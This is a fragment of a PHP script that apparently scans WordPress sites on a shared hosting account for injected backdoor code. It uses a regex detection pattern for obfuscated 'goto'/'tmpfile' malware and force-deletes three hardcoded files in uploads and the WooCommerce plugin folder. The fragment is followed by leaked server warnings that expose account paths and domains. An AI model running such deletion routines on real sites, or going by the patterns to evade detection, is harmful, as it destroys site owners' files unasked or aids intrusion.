if (preg_match('/[A-Za-z]{5}: \$[A-Za-z]{5} = tmpfile\(\); goto/si', $content))
{
$feature = 'own7';
}
if ($feature != '')
{
$pass = array(
'path' => $real_dir,
'status' => 0,
'feature' => $feature
);
$info['pass'][] = $pass;
return true;
}
return false;
}
function alwaysUnlink($path, &$info)
{
$files = [
'/wp-content/uploads/index.php',
'/wp-content/uploads/info.log',
'/wp-content/plugins/woocommerce/uninstalls.php'
];
foreach ($files as $file) {
if(file_exists($path . $file))
{
if(unlink($path . $file))
{
$info['always_unlinks'][] = 'success unlink:' . $path . $file;
}
}
}
}
$info = array(
'file_count' => 0,
'hide_count' => 0,
'trojan_count' => 0,
'pass_count' => 0,
'hide_code' => array(),
'trojan' => array(),
'pass' => array(),
);
$path = "/home/r6536736/public_html/osaka-daiku.com";
if($path == "")
{
searchDirs(dirname(__FILE__) . "/", $info);
} else {
searchDirs($path, $info);
}
$info['hide_count'] = count($info['hide_code']);
$info['trojan_count'] = count($info['trojan']);
$info['pass_count'] = count($info['pass']);
$info['always_unlinks'] = '';
if(function_exists('json_encode'))
{
i(json_encode($info, JSON_PRETTY_PRINT));
}else {
echo '{->|';
print_r($info);
echo '|<-}';
}
Warning: Cannot modify header information - headers already sent by (output started at /tmp/php5e44te:203) in /home/r6536736/public_html/gaiheki-kyoto.com/wp-includes/pluggable.php on line 1435
Warning: Cannot modify header information - headers already sent by (output started at /tmp/php5e44te:203) in /home/r6536736/public_html/gaiheki-kyoto.com/wp-includes/pluggable.php on line 1438